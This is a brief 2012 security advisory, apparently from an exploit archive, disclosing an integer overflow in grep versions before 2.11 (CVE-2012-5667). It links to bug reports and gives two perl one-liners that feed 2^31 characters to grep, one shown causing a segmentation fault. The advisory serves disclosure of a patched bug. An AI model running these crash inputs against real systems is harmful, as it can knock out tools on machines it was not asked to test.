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Grep Integer Overflow

Grep Integer Overflow
Posted Dec 31, 2012
Authored by Joshua Rogers

Grep versions prior to 2.11 suffer from an integer overflow vulnerability.

tags | exploit, overflow
advisories | CVE-2012-5667
MD5 | b86315c15d999af76964bb15de9a95d6

Grep Integer Overflow

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Grep <2.11 is vulnerable to int overflow exploitation.

http://lists.gnu.org/archive/html/bug-grep/2012-03/msg00007.html

Although it is patched in the recent Grep,
This update has not been pushed to the Ubuntu repos, or the Redhat
repos, leaving 99% of those OS's(and more) vulnerable.


There are also many other ways to do this bug.

It is low severity because it would be extremely hard to actually
exploit it, and it is a local exploit, and it is not run by root.

Found By: Security Researcher - Joshua Rogers


More:
https://bugzilla.redhat.com/show_bug.cgi?id=889935
https://bugs.launchpad.net/ubuntu/+source/grep/+bug/1091473
http://seclists.org/oss-sec/2012/q4/504
etc.

#There are many ways of doing this.

#Method one:
$ perl -e 'print "x"x(2**31)' | grep x > /dev/null
Segmentation fault (core dumped)


#Method two:
$ perl -e 'print "\nx"x(2**31)' | grep -c x > /dev/null


Twitter: https://twitter.com/MegaManSec


CVE: CVE-2012-5667
--
*Joshua Rogers* - Retro Game Collector && IT Security Specialist
gpg pubkey <http://www.internot.info/docs/gpg_pubkey.asc.gpg>

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